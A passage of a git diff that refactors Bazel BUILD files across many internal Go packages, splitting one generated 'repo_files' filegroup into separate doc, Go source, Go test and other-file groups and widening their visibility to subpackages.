= ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -171,7 +220,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/testutil/bazeltest/BUILD.bazel b/internal/testutil/bazeltest/BUILD.bazel index a3a6c955d..cdb9d6d9e 100644 --- a/internal/testutil/bazeltest/BUILD.bazel +++ b/internal/testutil/bazeltest/BUILD.bazel @@ -17,12 +17,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -31,7 +70,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/testutil/credentialcmd/BUILD.bazel b/internal/testutil/credentialcmd/BUILD.bazel index 82e67577d..d37bbe4a3 100644 --- a/internal/testutil/credentialcmd/BUILD.bazel +++ b/internal/testutil/credentialcmd/BUILD.bazel @@ -20,12 +20,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -34,7 +73,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/testutil/fixtures/BUILD.bazel b/internal/testutil/fixtures/BUILD.bazel index aee139035..b8b65f00d 100644 --- a/internal/testutil/fixtures/BUILD.bazel +++ b/internal/testutil/fixtures/BUILD.bazel @@ -29,12 +29,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -43,7 +82,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/testutil/integration/BUILD.bazel b/internal/testutil/integration/BUILD.bazel index fcc3fc611..40d2017d5 100644 --- a/internal/testutil/integration/BUILD.bazel +++ b/internal/testutil/integration/BUILD.bazel @@ -83,12 +83,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -97,7 +136,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/timeparsing/BUILD.bazel b/internal/timeparsing/BUILD.bazel index 200d3d297..c9d379697 100644 --- a/internal/timeparsing/BUILD.bazel +++ b/internal/timeparsing/BUILD.bazel @@ -24,12 +24,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -38,7 +77,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/tracker/BUILD.bazel b/internal/tracker/BUILD.bazel index 1fb51af6d..853720cdd 100644 --- a/internal/tracker/BUILD.bazel +++ b/internal/tracker/BUILD.bazel @@ -89,12 +89,51 @@ sh_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -103,7 +142,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/tracker/conformance/BUILD.bazel b/internal/tracker/conformance/BUILD.bazel index 660c18c85..87299f0ae 100644 --- a/internal/tracker/conformance/BUILD.bazel +++ b/internal/tracker/conformance/BUILD.bazel @@ -55,12 +55,51 @@ sh_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -69,7 +108,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/types/BUILD.bazel b/internal/types/BUILD.bazel index d81695be6..ff7b6c8eb 100644 --- a/internal/types/BUILD.bazel +++ b/internal/types/BUILD.bazel @@ -44,12 +44,51 @@ filegroup( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -58,7 +97,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/ui/BUILD.bazel b/internal/ui/BUILD.bazel index d4bf16eb4..78e070e78 100644 --- a/internal/ui/BUILD.bazel +++ b/internal/ui/BUILD.bazel @@ -35,12 +35,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -49,7 +88,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/uimd/BUILD.bazel b/internal/uimd/BUILD.bazel index 756358b1c..dbbb4fffa 100644 --- a/internal/uimd/BUILD.bazel +++ b/internal/uimd/BUILD.bazel @@ -27,12 +27,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -41,7 +80,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/utils/BUILD.bazel b/internal/utils/BUILD.bazel index be3234d57..ebc93a29a 100644 --- a/internal/utils/BUILD.bazel +++ b/internal/utils/BUILD.bazel @@ -53,12 +53,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -67,7 +106,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/validation/BUILD.bazel b/internal/validation/BUILD.bazel index 53e2232aa..5b75f8787 100644 --- a/internal/validation/BUILD.bazel +++ b/internal/validation/BUILD.bazel @@ -34,12 +34,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -48,7 +87,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/versioncheck/BUILD.bazel b/internal/versioncheck/BUILD.bazel index ffa55c8ad..0a7962628 100644 --- a/internal/versioncheck/BUILD.bazel +++ b/internal/versioncheck/BUILD.bazel @@ -22,12 +22,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -36,7 +75,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/workapi/BUILD.bazel b/internal/workapi/BUILD.bazel index ff896671c..89ecb128a 100644 --- a/internal/workapi/BUILD.bazel +++ b/internal/workapi/BUILD.bazel @@ -77,12 +77,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -91,7 +130,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/workapi/storecounter/BUILD.bazel b/internal/workapi/storecounter/BUILD.bazel index 04b67721e..05bb55bb2 100644 --- a/internal/workapi/storecounter/BUILD.bazel +++ b/internal/workapi/storecounter/BUILD.bazel @@ -16,12 +16,51 @@ go_library( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -30,7 +69,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/workapi/storequerier/BUILD.bazel b/internal/workapi/storequerier/BUILD.bazel index a8d2e6149..67b7a29b9 100644 --- a/internal/workapi/storequerier/BUILD.bazel +++ b/internal/workapi/storequerier/BUILD.bazel @@ -15,12 +15,51 @@ go_library( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -29,7 +68,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/workapi/storereader/BUILD.bazel b/internal/workapi/storereader/BUILD.bazel index 84e40c33e..5b0c187e6 100644 --- a/internal/workapi/storereader/BUILD.bazel +++ b/internal/workapi/storereader/BUILD.bazel @@ -27,12 +27,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -41,7 +80,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/workapi/storereadycounter/BUILD.bazel b/internal/workapi/storereadycounter/BUILD.bazel index 6cde32faf..29c4998ef 100644 --- a/internal/workapi/storereadycounter/BUILD.bazel +++ b/internal/workapi/storereadycounter/BUILD.bazel @@ -15,12 +15,51 @@ go_library( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -29,7 +68,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/workapi/storestats/BUILD.bazel b/internal/workapi/storestats/BUILD.bazel index 7b009776b..d0b08a598 100644 --- a/internal/workapi/storestats/BUILD.bazel +++ b/internal/workapi/storestats/BUILD.bazel @@ -16,12 +16,51 @@ go_library( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -30,7 +69,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/workapi/storeversionreconciler/BUILD.bazel b/internal/workapi/storeversionreconciler/BUILD.bazel index db79c94b7..9eac2b29b 100644 --- a/internal/workapi/storeversionreconciler/BUILD.bazel +++ b/internal/workapi/storeversionreconciler/BUILD.bazel @@ -15,12 +15,51 @@ go_library( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -29,7 +68,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/workapi/storeworkspaceconfig/BUILD.bazel b/internal/workapi/storeworkspaceconfig/BUILD.bazel index c65c1f592..166762ce9 100644 --- a/internal/workapi/storeworkspaceconfig/BUILD.bazel +++ b/internal/workapi/storeworkspaceconfig/BUILD.bazel @@ -15,12 +15,51 @@ go_library( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -29,7 +68,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/workspacegate/BUILD.bazel b/internal/workspacegate/BUILD.bazel index db9bf9acf..85a5fefdf 100644 --- a/internal/workspacegate/BUILD.bazel +++ b/internal/workspacegate/BUILD.bazel @@ -18,12 +18,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -32,7 +71,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/internal/worktreeremove/BUILD.bazel b/internal/worktreeremove/BUILD.bazel index 97c70cf13..9713ee55b 100644 --- a/internal/worktreeremove/BUILD.bazel +++ b/internal/worktreeremove/BUILD.bazel @@ -16,12 +16,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + 